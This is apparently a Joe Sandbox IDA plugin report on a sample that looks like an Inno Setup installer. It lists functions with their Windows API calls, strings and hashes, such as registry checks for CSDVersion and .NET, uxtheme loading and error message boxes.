Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: ac5cc282c067456e249ea33ae27a87cb8f74c3cdbbe1584bcbf229a404d17c3c
Instruction ID: e73a2cdb365e33afcc9ec4347b3e3d3b623f2b48e9bc75f8f4c23586a52c4cba
Opcode Fuzzy Hash: ac5cc282c067456e249ea33ae27a87cb8f74c3cdbbe1584bcbf229a404d17c3c
Instruction Fuzzy Hash: 32215270E00219AFDB01EFA9C8819AFBBB8EB45315F51453AB814B72D1D6385F018A59

Function 00404D2A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00404DC5
ExitProcess.KERNEL32 ref: 00404E0D

Strings

Runtime error at 00000000, xrefs: 00404DBE, 00404DD1
Error, xrefs: 00404DB9

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000
API String ID: 1220098344-2970929446
Opcode ID: 8c8c0f2434a4a7f5450b7d1f87c82a5e4d49965682bc3ad0c70a84493f0d02f9
Instruction ID: 7ca15834b35bf0f9f7e67f0c6f6a322a9a8b6c98d325c36795369cb21074e1e4
Opcode Fuzzy Hash: 8c8c0f2434a4a7f5450b7d1f87c82a5e4d49965682bc3ad0c70a84493f0d02f9
Instruction Fuzzy Hash: 9221B360A442418ADB11E7B9ECC1B163F919BE5348F06817BE700B73E6C67C884587AE

Function 00491C96 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 00491CD1

Strings

@, xrefs: 00491C9C
,PI, xrefs: 00491D1E
/INITPROCWND=$%x , xrefs: 00491CFC

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window
String ID: ,PI$/INITPROCWND=$%x $@
API String ID: 2353593579-725838332
Opcode ID: 4f3145631ee74e3ffd20238c20037f275b4c7c2d0e9d0755eefdc0ade771780a
Instruction ID: 899b8af52d7b32525e6c1ca955d448a9dbe093ad269ad62ab1ae70d2d30899a0
Opcode Fuzzy Hash: 4f3145631ee74e3ffd20238c20037f275b4c7c2d0e9d0755eefdc0ade771780a
Instruction Fuzzy Hash: A911B471A0420A9FDB01EBA5E841BAEBFF8EB49314F50447BE404E7292D73CA905CB58

Function 00455134 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042C6E0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C704

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00455188
RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 004551B5

Strings

RegisterTypeLib, xrefs: 004551C0
LoadTypeLib, xrefs: 00455193

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 1312246647-2435364021
Opcode ID: e2f3463635fb6c6e0f44c9beef967b87cfc14e02ad386ede1db0d0b1acc07e49
Instruction ID: 093b81e23b27085b775d5841f24b50463fdb0b77fdf2656e66d641a6674dcfc7
Opcode Fuzzy Hash: e2f3463635fb6c6e0f44c9beef967b87cfc14e02ad386ede1db0d0b1acc07e49
Instruction Fuzzy Hash: 3D11B730B00A44BFDB01DFA6CD61A6EBBBDDB49701F1044B6BD04D3642DA389A04CB14

Function 00474148 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00424234: SetWindowTextA.USER32(?,00000000), ref: 0042424C

GetFocus.USER32 ref: 004741B3
GetKeyState.USER32(0000007A), ref: 004741C5
WaitMessage.USER32(?,00000000,004741EC,?,00000000,00474213,?,?,00000001,00000000,?,?,?,?,0047B7D3,00000000), ref: 004741CF

Strings

Wnd=$%x, xrefs: 00474197

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FocusMessageStateTextWaitWindow
String ID: Wnd=$%x
API String ID: 1381870634-2927251529
Opcode ID: 67cae6dd6d3273ef7d1dfd183c20a750b9d2caf90919f89b06122c8dc7d07ee4
Instruction ID: 34f116606137c316833fa5ff519612bd6df224c0fb330b9a224f89f0f6831219
Opcode Fuzzy Hash: 67cae6dd6d3273ef7d1dfd183c20a750b9d2caf90919f89b06122c8dc7d07ee4
Instruction Fuzzy Hash: E711A730604204AFC711FFA5DC41AAE7BB8EB89314F9184BAF408E3681D7386E50CA69

Function 0046A92C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32(?), ref: 0046A934
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 0046A943

Strings

%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u, xrefs: 0046A9B8
(invalid), xrefs: 0046A9C6

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
API String ID: 1748579591-1013271723
Opcode ID: daa66b2d87cb8fa43dc01f2af67a70da577481e152c1958637a10f9fe24ec333
Instruction ID: 2b10c23fcad2f68d61c28d8f5288bbdb6d5c49eb401cca830eca33b5aee02788
Opcode Fuzzy Hash: daa66b2d87cb8fa43dc01f2af67a70da577481e152c1958637a10f9fe24ec333
Instruction Fuzzy Hash: 0711F8A040C3919AD340DF6AC44432BBBE4AB89708F04892FF9D8D6381E779C948DB77

Function 00452B7A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,00000020), ref: 00452B87

Part of subcall function 00406EB8: DeleteFileA.KERNEL32(00000000,00496628,004938C1,00000000,00493916,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406EC3

MoveFileA.KERNEL32(00000000,00000000), ref: 00452BAC

Part of subcall function 004521C4: GetLastError.KERNEL32(00000000,00452C35,00000005,00000000,00452C6A,?,?,00000000,00496628,00000004,00000000,00000000,00000000,?,00493575,00000000), ref: 004521C7

Strings

DeleteFile, xrefs: 00452B98
MoveFile, xrefs: 00452BB5

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: File$AttributesDeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3024442154-139070271
Opcode ID: 09f61a2bc4eed106fcf7c3250e83a9029fd29763ab9f59381e025cb4c01b50ae
Instruction ID: 0b890240c925f7cc51cf7eb9f7e2542056b56669519546eb404c8924dfa20b1f
Opcode Fuzzy Hash: 09f61a2bc4eed106fcf7c3250e83a9029fd29763ab9f59381e025cb4c01b50ae
Instruction Fuzzy Hash: 7FF012752141045BEB05FBA6DA4266F63ECEB4530AFA1443BB800B76C3DA7C9D094929

Function 0047EBB8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 0047EBF9
RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 0047EC1C

Strings

System\CurrentControlSet\Control\Windows, xrefs: 0047EBC6
CSDVersion, xrefs: 0047EBF0

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: CSDVersion$System\CurrentControlSet\Control\Windows
API String ID: 3677997916-1910633163
Opcode ID: 54a1c771afcc9caaaa3db47c508be36be14261b4c5fb172a546a2b80d69d2b2c
Instruction ID: e156d6a56ac4e40e6375683f0b74b6ac8fc694965697873446ba6e70fbfa433a
Opcode Fuzzy Hash: 54a1c771afcc9caaaa3db47c508be36be14261b4c5fb172a546a2b80d69d2b2c
Instruction Fuzzy Hash: 8BF0AE79D00209AEDF11D6D18D45BDF737C9B04704F1046A7EA14F7241E6759644C759

Function 00457C80 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,00457DB2,00000000,00457EFF,?,00000000,00000000,00000000), ref: 00457CCD

Strings

SOFTWARE\Microsoft\.NETFramework, xrefs: 00457CA0
InstallRoot, xrefs: 00457CBC
.NET Framework not found, xrefs: 00457CDC

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseOpen
String ID: .NET Framework not found$InstallRoot$SOFTWARE\Microsoft\.NETFramework
API String ID: 47109696-2631785700
Opcode ID: 6814bac3a89c07b1ab5afe3461460e723eadcf8d89f509875adf6b77509eeb59
Instruction ID: b4c5c728c1379e9c4b8f5c04e0ceb2aca35a0eb3f0ca00244b90be62e54131a8
Opcode Fuzzy Hash: 6814bac3a89c07b1ab5afe3461460e723eadcf8d89f509875adf6b77509eeb59
Instruction Fuzzy Hash: 91F0C2717081205FD710EB1AFC65B5A6698DB91316F10403BFA81D7263C77DDC0AC66D

Function 0042D7CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00452882,00000000,00452925,?,?,00000000,00000000,00000000,00000000,00000000,?,00452BF1,00000000), ref: 0042D7E6
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D7EC

Strings

GetSystemWow64DirectoryA, xrefs: 0042D7DC
kernel32.dll, xrefs: 0042D7E1

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 1646373207-4063490227
Opcode ID: 81f2c271396b6c6b0a6e4f0ec9d4706ead318563820e770f2fdbea2ec60f1365
Instruction ID: 4db8f333c9a0d948aa4d288d669557f69a64c6eaa67e0ad6c3f7b03414b73d9c
Opcode Fuzzy Hash: 81f2c271396b6c6b0a6e4f0ec9d4706ead318563820e770f2fdbea2ec60f1365
Instruction Fuzzy Hash: 23E04F61B44B1112D7107ABA9C83A5B10898B88724FA0843B79A5E72C7EDBCD94A1A7D

Function 0042E8C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,00000000,0042E83C), ref: 0042E8CE
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E8D4

Strings

ShutdownBlockReasonDestroy, xrefs: 0042E8C4
user32.dll, xrefs: 0042E8C9

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ShutdownBlockReasonDestroy$user32.dll
API String ID: 1646373207-260599015
Opcode ID: 3e02ab0e8eb5e74b6c5ee16f939faf03465c100d6f2ce44c64abee54d60a0b19
Instruction ID: 7c69bd6c2ee87db4326f6693fa526596aa450ba62902fbcca0c83f78b45ae659
Opcode Fuzzy Hash: 3e02ab0e8eb5e74b6c5ee16f939faf03465c100d6f2ce44c64abee54d60a0b19
Instruction Fuzzy Hash: 61D0C9A2752B32AA6A2075FB3CD1AEB02CC8D106B93980477F540F7242EA9DCC4565AC

Function 0044F284 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00493D75), ref: 0044F2BF
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F2C5

Strings

user32.dll, xrefs: 0044F2BA
NotifyWinEvent, xrefs: 0044F2B5

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NotifyWinEvent$user32.dll
API String ID: 1646373207-597752486
Opcode ID: 704d51f198e1eaefb4b5a2532ccf6d6d303c3ad9a6296258811b0e0a6a842c2c
Instruction ID: 36e4e0d2698348a904f9f012ce77220534f27c55a7afc26bb15977a54a2e968b
Opcode Fuzzy Hash: 704d51f198e1eaefb4b5a2532ccf6d6d303c3ad9a6296258811b0e0a6a842c2c
Instruction Fuzzy Hash: 2DE0ECE4A417419DEB00FBF6A982B0A2AA0BB65359B1150BBB00466196C7BD44099E2D

Function 00493B38 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,00493DC6,00000001,00000000,00493DEA), ref: 00493B42
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00493B48

Strings

DisableProcessWindowsGhosting, xrefs: 00493B38
user32.dll, xrefs: 00493B3D

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: 41a55b33c160e6dc0eff7ab56ab11d4168c3b7e84bef43fa7e71e2254c7feca5
Instruction ID: ca6bcf986d1e601494b8b79d872acce76b47918f704ed465f41aa35f021a0f47
Opcode Fuzzy Hash: 41a55b33c160e6dc0eff7ab56ab11d4168c3b7e84bef43fa7e71e2254c7feca5
Instruction Fuzzy Hash: 81B0928028170258AC103AF20C02E1F8908888272BB1400373405F21C3CD6CAA04183D

Function 00461004 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044B198: LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F2B5,00493D75), ref: 0044B1BF
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B1D7
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B1E9
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B1FB
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B20D
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B21F
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B231
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B243
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B255
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B267
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B279
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B28B
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B29D
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B2AF
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B2C1
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B2D3
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B2E5
Part of subcall function 0044B198: GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B2F7

LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,00493D98), ref: 00461013
GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00461019

Strings

shell32.dll, xrefs: 0046100E
SHPathPrepareForWriteA, xrefs: 00461009

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2238633743-2683653824
Opcode ID: 74472cf46e62de120aa8b6b3746df41601e813c9490f8e295dc42f1c898779b0
Instruction ID: b2bf76e3bb2aebd53e925eb77e9063db760fddbda658e1bfddf48c8792bb1ca4
Opcode Fuzzy Hash: 74472cf46e62de120aa8b6b3746df41601e813c9490f8e295dc42f1c898779b0
Instruction Fuzzy Hash: EBB092A0692780A08E00B7B2198391A2054C554B8DB18007B7144B94A6EA7C40408EAE

Function 00413C68 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00413CB6
GetDesktopWindow.USER32 ref: 00413D6E

Part of subcall function 00418E30: 6F59C6F0.COMCTL32(?,00000000,00413F33,00000000,00414043,?,?,00496628), ref: 00418E4C
Part of subcall function 00418E30: ShowCursor.USER32(00000001,?,00000000,00413F33,00000000,00414043,?,?,00496628), ref: 00418E69

SetCursor.USER32(00000000,?,?,?,?,00413A63,00000000,00413A76), ref: 00413DAC

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CursorDesktopWindow$Show
String ID:
API String ID: 2074268717-0
Opcode ID: 86f28fd5b8e67e4ed68fb8d3243ff4e40f6b005c19925ef4854e6769390e0e23
Instruction ID: 370eb430aafb64f03e0c00a45e78fc31171da0b863367db60babd08861f95fe9
Opcode Fuzzy Hash: 86f28fd5b8e67e4ed68fb8d3243ff4e40f6b005c19925ef4854e6769390e0e23
Instruction Fuzzy Hash: 5C412A75600150AFCB10EF29F988B9677E1AB65325B17847FE404DB369DA38EC81CF58

Function 004089BC Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 004089DD
LoadStringA.USER32(00400000,0000FF9E,?,00000040), ref: 00408A4C
LoadStringA.USER32(00400000,0000FF9F,?,00000040), ref: 00408AE7
MessageBoxA.USER32(00000000,?,?,00002010), ref: 00408B26

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: LoadString$FileMessageModuleName
String ID:
API String ID: 704749118-0
Opcode ID: 99751f4f979d7cbd6f64df42d399bdd9e1b5d3b0c0dc70bf067ed9d32167edd5
Instruction ID: d4d784650a0269eb12294142f4e6c1e51b8c8d651a7e98bb559ca79e8df8d1d5
Opcode Fuzzy Hash: 99751f4f979d7cbd6f64df42d399bdd9e1b5d3b0c0dc70bf067ed9d32167edd5
Instruction Fuzzy Hash: 8F3141706083809FD730EB65C945B9B77E89B86304F40483FB6C8EB2D1DB7999098B67

Function 0044E404 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000001A1,?,00000000), ref: 0044E44D

Part of subcall function 0044CA90: SendMessageA.USER32(00000000,000001A0,?,00000000), ref: 0044CAC2

InvalidateRect.USER32(00000000,00000000,00000001,00000000,000001A1,?,00000000), ref: 0044E4D1

Part of subcall function 0042BB24: SendMessageA.USER32(00000000,0000018E,00000000,00000000), ref: 0042BB38

IsRectEmpty.USER32(?), ref: 0044E493
ScrollWindowEx.USER32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000006), ref: 0044E4B6

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

